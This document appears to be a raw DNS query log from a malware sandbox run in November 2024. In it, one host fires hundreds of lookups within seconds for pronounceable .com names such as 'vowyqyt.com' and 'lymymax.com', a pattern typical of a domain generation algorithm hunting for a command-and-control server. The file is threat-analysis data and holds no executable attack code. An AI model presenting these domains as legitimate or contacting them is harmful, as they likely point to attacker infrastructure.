                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352705956 CET192.168.2.41.1.1.10x6c30Standard query (0)vowyqyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352746010 CET192.168.2.41.1.1.10xf53eStandard query (0)puzyduq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352746010 CET192.168.2.41.1.1.10xfe73Standard query (0)vocybuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352782965 CET192.168.2.41.1.1.10x69d4Standard query (0)lymymax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352782965 CET192.168.2.41.1.1.10x64e7Standard query (0)lyxyfuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353010893 CET192.168.2.41.1.1.10x7383Standard query (0)vopyrik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353038073 CET192.168.2.41.1.1.10xda05Standard query (0)gahypoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353038073 CET192.168.2.41.1.1.10x8678Standard query (0)qedylig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353074074 CET192.168.2.41.1.1.10x105dStandard query (0)puvygog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353074074 CET192.168.2.41.1.1.10xb25fStandard query (0)ganynos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353112936 CET192.168.2.41.1.1.10xf732Standard query (0)gatyruw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353112936 CET192.168.2.41.1.1.10x452bStandard query (0)vopykum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353132963 CET192.168.2.41.1.1.10x1d48Standard query (0)pumymap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353132963 CET192.168.2.41.1.1.10x6247Standard query (0)vonyjef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353174925 CET192.168.2.41.1.1.10x8b2Standard query (0)lyvygon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353174925 CET192.168.2.41.1.1.10x72dbStandard query (0)pupylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353209019 CET192.168.2.41.1.1.10x10afStandard query (0)pupytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353209019 CET192.168.2.41.1.1.10x712Standard query (0)qebyniv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353243113 CET192.168.2.41.1.1.10x4317Standard query (0)vojypat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353243113 CET192.168.2.41.1.1.10x590dStandard query (0)qebyhag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353282928 CET192.168.2.41.1.1.10x7858Standard query (0)qekysel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353283882 CET192.168.2.41.1.1.10xa3f4Standard query (0)gacyfih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353297949 CET192.168.2.41.1.1.10x694bStandard query (0)qedytoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353414059 CET192.168.2.41.1.1.10x6e99Standard query (0)lymyjyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353426933 CET192.168.2.41.1.1.10x6c33Standard query (0)qekyvup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353426933 CET192.168.2.41.1.1.10xeb54Standard query (0)ganyhab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.902112961 CET192.168.2.41.1.1.10x865bStandard query (0)gacyvub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.907109976 CET192.168.2.41.1.1.10x7144Standard query (0)lygytix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.908386946 CET192.168.2.41.1.1.10x5e85Standard query (0)gaqynih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.910228014 CET192.168.2.41.1.1.10xb8a0Standard query (0)vowymom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.914459944 CET192.168.2.41.1.1.10x3e48Standard query (0)vowyjak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.915927887 CET192.168.2.41.1.1.10x8d9cStandard query (0)qexysev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.916161060 CET192.168.2.41.1.1.10x8c95Standard query (0)qeqyniq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.916579008 CET192.168.2.41.1.1.10x9523Standard query (0)pufylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.916827917 CET192.168.2.41.1.1.10xe1dStandard query (0)lyxysad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.917468071 CET192.168.2.41.1.1.10xbec0Standard query (0)lymynuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.917710066 CET192.168.2.41.1.1.10x5092Standard query (0)puzypav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.918098927 CET192.168.2.41.1.1.10xbc5cStandard query (0)qedykep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.918504953 CET192.168.2.41.1.1.10xc8cbStandard query (0)gadykyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.918864965 CET192.168.2.41.1.1.10x3322Standard query (0)gacydes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.919670105 CET192.168.2.41.1.1.10xf1a4Standard query (0)vofykyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.923216105 CET192.168.2.41.1.1.10xf538Standard query (0)ganyvyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.925237894 CET192.168.2.41.1.1.10x75bdStandard query (0)lykytin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.925462008 CET192.168.2.41.1.1.10x8bfcStandard query (0)lygylur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.944021940 CET192.168.2.41.1.1.10x391dStandard query (0)vojyrum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.946214914 CET192.168.2.41.1.1.10x9848Standard query (0)lyvyver.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.006053925 CET192.168.2.41.1.1.10xce9bStandard query (0)galycah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.007390022 CET192.168.2.41.1.1.10xbe16Standard query (0)lysywyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.033660889 CET192.168.2.41.1.1.10xb29dStandard query (0)lyryman.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.034709930 CET192.168.2.41.1.1.10xb43aStandard query (0)lyvyfux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.035214901 CET192.168.2.41.1.1.10x595cStandard query (0)qedyruv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.035358906 CET192.168.2.41.1.1.10xe8ebStandard query (0)gadyrus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.036581993 CET192.168.2.41.1.1.10xf54dStandard query (0)pujytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.036788940 CET192.168.2.41.1.1.10x8484Standard query (0)qetyhov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.037194967 CET192.168.2.41.1.1.10xa407Standard query (0)gatyhos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.046374083 CET192.168.2.41.1.1.10xb8d3Standard query (0)qebyvyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.046425104 CET192.168.2.41.1.1.10x24f9Standard query (0)vojyzik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.052598953 CET192.168.2.41.1.1.10x6572Standard query (0)puvydyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.053157091 CET192.168.2.41.1.1.10x2c05Standard query (0)volypof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.053309917 CET192.168.2.41.1.1.10x6d21Standard query (0)pufytip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.061666965 CET192.168.2.41.1.1.10xfde7Standard query (0)vocydyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.061855078 CET192.168.2.41.1.1.10x9fd8Standard query (0)lymygor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.062156916 CET192.168.2.41.1.1.10xe22fStandard query (0)pumygil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.062486887 CET192.168.2.41.1.1.10xfab0Standard query (0)vonygit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.062604904 CET192.168.2.41.1.1.10x25adStandard query (0)qexyvyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.063498974 CET192.168.2.41.1.1.10xf7f5Standard query (0)puzyceg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.063680887 CET192.168.2.41.1.1.10x25efStandard query (0)purymog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.064171076 CET192.168.2.41.1.1.10x1cbfStandard query (0)pujyxoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.064450979 CET192.168.2.41.1.1.10x2097Standard query (0)vopyjac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.064675093 CET192.168.2.41.1.1.10xbf88Standard query (0)qegylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.065571070 CET192.168.2.41.1.1.10xf6edStandard query (0)pumybuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.065730095 CET192.168.2.41.1.1.10x78a1Standard query (0)galypob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.066232920 CET192.168.2.41.1.1.10x1b9eStandard query (0)vopyqef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.066402912 CET192.168.2.41.1.1.10x32b6Standard query (0)lyxyvyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.066539049 CET192.168.2.41.1.1.10x7353Standard query (0)qetyqag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.069890022 CET192.168.2.41.1.1.10x20afStandard query (0)volycem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.080569029 CET192.168.2.41.1.1.10x4aaeStandard query (0)lysyjex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.081161022 CET192.168.2.41.1.1.10x9ffaStandard query (0)gatyqeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.081399918 CET192.168.2.41.1.1.10x6e3cStandard query (0)pupywyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.081562996 CET192.168.2.41.1.1.10xb83dStandard query (0)lykyxoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.087467909 CET192.168.2.41.1.1.10x2e7Standard query (0)vonybuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.087467909 CET192.168.2.41.1.1.10x1885Standard query (0)qekytig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.087614059 CET192.168.2.41.1.1.10xfb4fStandard query (0)vofyruc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.087670088 CET192.168.2.41.1.1.10x7b21Standard query (0)qeqyhol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.087816000 CET192.168.2.41.1.1.10xad2fStandard query (0)gaqyhaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.087862968 CET192.168.2.41.1.1.10xf2d0Standard query (0)ganyfuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.088009119 CET192.168.2.41.1.1.10xf52Standard query (0)qebyfup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.088038921 CET192.168.2.41.1.1.10x74aeStandard query (0)qekyxaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.088080883 CET192.168.2.41.1.1.10x8463Standard query (0)gahyziw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.176913023 CET192.168.2.41.1.1.10xde28Standard query (0)pupyjap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.690213919 CET192.168.2.41.1.1.10xd0d7Standard query (0)purygiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.690568924 CET192.168.2.41.1.1.10xd016Standard query (0)qegyryq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.691020966 CET192.168.2.41.1.1.10x477aStandard query (0)vocycat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.691200018 CET192.168.2.41.1.1.10x9c93Standard query (0)qeqyfug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.691678047 CET192.168.2.41.1.1.10x43e7Standard query (0)gacycaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.691962004 CET192.168.2.41.1.1.10x338fStandard query (0)lyxyxox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.692195892 CET192.168.2.41.1.1.10x8fbaStandard query (0)vofyqek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.692702055 CET192.168.2.41.1.1.10x1bdfStandard query (0)gaqyfub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.692986012 CET192.168.2.41.1.1.10x9168Standard query (0)vowyguf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.693120956 CET192.168.2.41.1.1.10x5e42Standard query (0)pufyweq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.693314075 CET192.168.2.41.1.1.10x60b3Standard query (0)qexyxop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.693747997 CET192.168.2.41.1.1.10x41dcStandard query (0)lygywyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.693989992 CET192.168.2.41.1.1.10xde40Standard query (0)gahyruh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.694279909 CET192.168.2.41.1.1.10x8dd1Standard query (0)puvycel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.694711924 CET192.168.2.41.1.1.10x6d8cStandard query (0)lyrygid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.695348024 CET192.168.2.41.1.1.10x656dStandard query (0)puzyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.696376085 CET192.168.2.41.1.1.10xb9cbStandard query (0)galyryz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.697448969 CET192.168.2.41.1.1.10x9ee1Standard query (0)qegykeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.698687077 CET192.168.2.41.1.1.10xea90Standard query (0)gatyniz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.701383114 CET192.168.2.41.1.1.10x396Standard query (0)qexytil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.701560020 CET192.168.2.41.1.1.10x9674Standard query (0)lymyved.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.705780029 CET192.168.2.41.1.1.10xaef7Standard query (0)pupyguq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.706105947 CET192.168.2.41.1.1.10xaa9fStandard query (0)puvypoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.710040092 CET192.168.2.41.1.1.10x5a95Standard query (0)vonydem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.710308075 CET192.168.2.41.1.1.10xffd3Standard query (0)qeqyvev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.710500002 CET192.168.2.41.1.1.10x5dfdStandard query (0)pumycav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.710616112 CET192.168.2.41.1.1.10x297cStandard query (0)pufyjag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.711132050 CET192.168.2.41.1.1.10x3742Standard query (0)lyrynux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.711951017 CET192.168.2.41.1.1.10x101Standard query (0)vojykyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.711992979 CET192.168.2.41.1.1.10x28f3Standard query (0)lyxytur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.712184906 CET192.168.2.41.1.1.10x1ec5Standard query (0)lykylud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.712466002 CET192.168.2.41.1.1.10x6504Standard query (0)lykywex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.713831902 CET192.168.2.41.1.1.10x445fStandard query (0)pupymol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.725063086 CET192.168.2.41.1.1.10x5499Standard query (0)vopyguk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.725368977 CET192.168.2.41.1.1.10x7685Standard query (0)ganycob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.725532055 CET192.168.2.41.1.1.10xcf33Standard query (0)qebysaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.725842953 CET192.168.2.41.1.1.10x7ebbStandard query (0)qekyryp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.726090908 CET192.168.2.41.1.1.10x82d5Standard query (0)lysygij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.726284981 CET192.168.2.41.1.1.10x2b08Standard query (0)qedyhiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.727245092 CET192.168.2.41.1.1.10x4a4fStandard query (0)volyrut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.727530956 CET192.168.2.41.1.1.10xa056Standard query (0)pumydyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.730493069 CET192.168.2.41.1.1.10xd8f6Standard query (0)vonycaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.730704069 CET192.168.2.41.1.1.10x436bStandard query (0)volyzic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.731425047 CET192.168.2.41.1.1.10xcc7Standard query (0)gaqyvys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.731678009 CET192.168.2.41.1.1.10x1e11Standard query (0)gacypiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.731820107 CET192.168.2.41.1.1.10x7115Standard query (0)vowybyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.731956959 CET192.168.2.41.1.1.10x3718Standard query (0)vocypok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.741666079 CET192.168.2.41.1.1.10x123dStandard query (0)galyzus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.754059076 CET192.168.2.41.1.1.10xc340Standard query (0)qedyqal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.756977081 CET192.168.2.41.1.1.10xc41eStandard query (0)lymyfyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.759107113 CET192.168.2.41.1.1.10x6031Standard query (0)gadyqaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.759387016 CET192.168.2.41.1.1.10x1d7Standard query (0)vopymit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.763571978 CET192.168.2.41.1.1.10xbb0eStandard query (0)qekyluv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.763739109 CET192.168.2.41.1.1.10x2a7dStandard query (0)purybup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.764213085 CET192.168.2.41.1.1.10x75faStandard query (0)lysymor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.764374018 CET192.168.2.41.1.1.10x3276Standard query (0)puzytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.764508963 CET192.168.2.41.1.1.10x1753Standard query (0)gahykeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.764686108 CET192.168.2.41.1.1.10x246fStandard query (0)gadyhoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.764836073 CET192.168.2.41.1.1.10x4d25Standard query (0)lygyjan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.764976025 CET192.168.2.41.1.1.10xed3eStandard query (0)vofyjom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.765202045 CET192.168.2.41.1.1.10x34aeStandard query (0)lyvysaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.765592098 CET192.168.2.41.1.1.10xb727Standard query (0)qetynup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.765728951 CET192.168.2.41.1.1.10x922fStandard query (0)pujylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:45.767215967 CET192.168.2.41.1.1.10x102dStandard query (0)ganydeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.527033091 CET192.168.2.41.1.1.10x4e00Standard query (0)gahyqas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.527436018 CET192.168.2.41.1.1.10xfc28Standard query (0)puvyxig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.536879063 CET192.168.2.41.1.1.10x1188Standard query (0)qeqysap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.538924932 CET192.168.2.41.1.1.10xa758Standard query (0)gadynub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.540998936 CET192.168.2.41.1.1.10x3648Standard query (0)qebyxog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.543742895 CET192.168.2.41.1.1.10x4ed3Standard query (0)pujywep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.543797970 CET192.168.2.41.1.1.10x7d14Standard query (0)gatyfuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.545476913 CET192.168.2.41.1.1.10x18e3Standard query (0)pufymiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.545586109 CET192.168.2.41.1.1.10xb01eStandard query (0)vojyqac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.546300888 CET192.168.2.41.1.1.10xd249Standard query (0)gacyzuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.546808004 CET192.168.2.41.1.1.10x4496Standard query (0)vowydet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.547173023 CET192.168.2.41.1.1.10x5956Standard query (0)lygymod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.547667980 CET192.168.2.41.1.1.10xaa21Standard query (0)qebytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.547812939 CET192.168.2.41.1.1.10x5aadStandard query (0)pujyjol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.548391104 CET192.168.2.41.1.1.10xa7a6Standard query (0)qexyluq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.548532963 CET192.168.2.41.1.1.10x7309Standard query (0)puzylyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.548803091 CET192.168.2.41.1.1.10xc0b3Standard query (0)gaqydaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.549127102 CET192.168.2.41.1.1.10x789dStandard query (0)lyxylyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.549611092 CET192.168.2.41.1.1.10x13d8Standard query (0)vofymif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.549870968 CET192.168.2.41.1.1.10xc5f2Standard query (0)qetyfyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.550498009 CET192.168.2.41.1.1.10x595eStandard query (0)galyqoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.553451061 CET192.168.2.41.1.1.10x423Standard query (0)lyryfyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.564466000 CET192.168.2.41.1.1.10x2badStandard query (0)purydel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.565752983 CET192.168.2.41.1.1.10xc11eStandard query (0)lysyfed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.565823078 CET192.168.2.41.1.1.10x8643Standard query (0)lyvyxin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.565990925 CET192.168.2.41.1.1.10x25e0Standard query (0)qegyqov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.566157103 CET192.168.2.41.1.1.10x9b9dStandard query (0)qedyfyv.comA (IP address)IN (0x0001)false
